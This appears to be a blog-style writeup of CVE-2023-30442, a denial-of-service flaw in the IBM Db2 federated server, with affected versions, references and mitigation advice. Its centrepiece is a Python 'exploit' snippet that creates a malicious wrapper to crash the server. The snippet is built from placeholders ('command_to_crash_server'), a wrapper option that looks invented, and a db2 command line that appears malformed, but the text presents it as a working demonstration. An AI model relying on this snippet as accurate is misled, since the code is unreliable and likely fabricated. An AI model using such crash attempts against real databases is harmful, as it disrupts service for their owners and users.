CVE-2023-30442 - IBM Db2 Denial of Service Vulnerability Discovered in Federated Server

A recently discovered vulnerability (CVE-2023-30442) in IBM's Db2 for Linux, UNIX, and Windows (including Db2 Connect Server) version 11.1 and 11.5 has the potential to disrupt service by crashing the server using a specially crafted wrapper with certain options. The issue has been assigned an IBM X-Force ID of 253202. This blog post will explore the vulnerability, demonstrate how the exploit works, and provide links to relevant references as well as steps to safeguard your database environment against this threat.

Vulnerability Details

IBM Db2's federated server is responsible for facilitating data exchange and integration across different database systems. The vulnerability in question impacts this federated server feature and can be exploited by attackers to create a denial of service (DoS) attack.

Vulnerability Type: Denial of Service (DoS)
Impact: Server Crash
Affected Versions: IBM Db2 for Linux, UNIX, and Windows (including Db2 Connect Server) 11.1 and 11.5
IBM X-Force ID: 253202

Exploit Details

The vulnerability can be exploited using a specially crafted wrapper containing certain options. Attackers can inject malicious code or options into the wrapper, which when executed, can cause the server to crash and create a denial of service situation.

Here's a sample code snippet that demonstrates how the exploit can be set up

# CVE-2023-30442 - IBM Db2 Denial of Service Exploit
import os

# Replace this value with your actual IBM Db2 server address and required credentials
db2_server = "your_ibm_db2_server_address"
db2_user = "your_username"
db2_password = "your_password"

wrapper_code = """
CREATE WRAPPER "MALICIOUS_WRAPPER"
LIBRARY 'spoofer_library_name'
OPTIONS
(ADD DB2_FENCED "NO",
ADD DB2_POST_FENCE "command_to_crash_server")
"""

# Execute the malicious wrapper code on the IBM Db2 server
os.system(f"db2 -c {db2_server} -u {db2_user} -p {db2_password} {wrapper_code}")

When the server executes the malicious wrapper, it will attempt to process the crashing command and eventually lead to a server crash, creating a denial of service.

Original References

IBM Security Bulletin: https://www.ibm.com/support/pages/node/6721644
CVE Details: https://cve.circl.lu/cve/CVE-2023-30442

The following steps can be taken to mitigate the impact of this vulnerability

1. Upgrade your IBM Db2 server software to the latest version. IBM has released a patch for this vulnerability, and it is highly recommended that you apply the patch as soon as possible.
2. Restrict access to the IBM Db2 federated server functionality only to trusted users and applications to prevent unauthorized access. This can be done using database-access controls and carefully managing user privileges.

Conclusion

While this vulnerability poses a significant risk to your IBM Db2 environment, preventive measures and timely software updates can help protect your systems from this threat. Make sure to always keep your software up-to-date and maintain strong access controls and user management to avoid falling victim to CVE-2023-30442 and similar threats.

Timeline

Published on: 07/10/2023 16:15:00 UTC
Last modified on: 07/31/2023 19:15:00 UTC